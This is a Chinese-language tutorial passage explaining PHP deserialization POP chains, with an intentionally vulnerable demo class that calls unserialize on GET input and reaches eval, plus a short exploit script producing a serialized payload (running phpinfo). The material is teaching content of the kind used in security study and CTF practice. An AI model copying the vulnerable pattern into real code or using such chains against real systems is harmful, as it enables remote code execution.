构造注入链:POP

1.POP链原理简介:

在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种
漏洞利用方法叫"面向属性编程",即POP( Property Oriented Programming)。
在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,
而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。

试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类
魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。
这个时候就需要构造一个链,链接到我们需要执行的函数eval()。 

我们来模拟一个简单的场景

 1 <?php
 2 class OowoO
 3 {
 4     protected $obj; 
 5     function __destruct()
 6     {
 7         //$obj = new test1; 这里可以控制$obj为任意对象
 8         $this->obj->a();
 9     }
10 }
11 
12 class test1{
13     function a(){
14         echo "123";
15     }
16 }
17 
18 class test2{
19     private $data;
20     function a(){
21         eval($this->data);
22     }
23 }
24 unserialize($_GET['a']);
25 ?>

利用:

 1 <script language="php">
 2 class OowoO{
 3     protected $obj;
 4 
 5     public function __construct(){
 6         $this->obj = new test2();
 7     }
 8 }
 9 class test2{
10     private $data = "phpinfo();";
11 }
12 echo urlencode(serialize(new OowoO()));
13 </script>

结果:

值得注意的是,反序列化可以控制类的属性,无论private还是public。
但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空
字节,所以记得urlencode一下,payload才会生效。

总的来说:如果魔幻函数中没有漏洞利用点,但是他调用了其他对象(意味着实例化了该对象)中的方法A,
由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。

原文地址:https://www.cnblogs.com/zzjdbk/p/13024539.html